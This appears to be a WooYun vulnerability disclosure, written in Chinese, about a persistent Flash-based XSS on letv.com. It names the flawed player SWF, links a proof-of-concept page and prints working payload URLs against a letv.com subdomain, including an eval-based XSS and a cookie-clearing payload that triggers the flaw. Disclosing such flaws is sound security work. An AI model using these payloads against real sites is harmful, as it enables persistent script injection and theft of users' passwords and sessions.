WooYun.org

此种类型漏洞的危害和原理就不细说了，具体见：
http://drops.wooyun.org/papers/1426
WooYun: 新浪微博flash xss rookit (乌云峰会视频演示-0x04)
WooYun: 京东登录页面XSS Rookit可致用户密码被窃取 (乌云峰会视频演示-0x03)
存在缺陷的FLASH文件是http://player.letvcdn.com/p/201311/15/1029/newplayer/StorageLetvPlayer.swf
利用流程：
先访问以下网址:
http://appmaker.sinaapp.com/poc/com.letv.www/1.htm
在此之后，用户只要打开http://www.letv.com/，就会执行XSS，（即使关闭浏览器再打开）

-----------------------------------
其中，首页中，FLASH调用getItem回调函数的流程，需要满足以下判断逻辑：

可以看到，只有cookies中的tj_lc的值为空时，才会触发该流程。
为了满足这一点，我们需要找到任意一个letv.com子域的XSS。
GOOGLE搜索找到一条，http://baidu.hz.letv.com/dev_proxy_iframe.html?v=1422118383089#callback=eval&data=alert(1)
可以利用该XSS来清空cookies中的tj_lc的值:
http://baidu.hz.letv.com/dev_proxy_iframe.html?v=1422118383089#callback=eval&data=document.cookie%3D'tj_lc%3D; path%3D/; domain%3Dletv.com';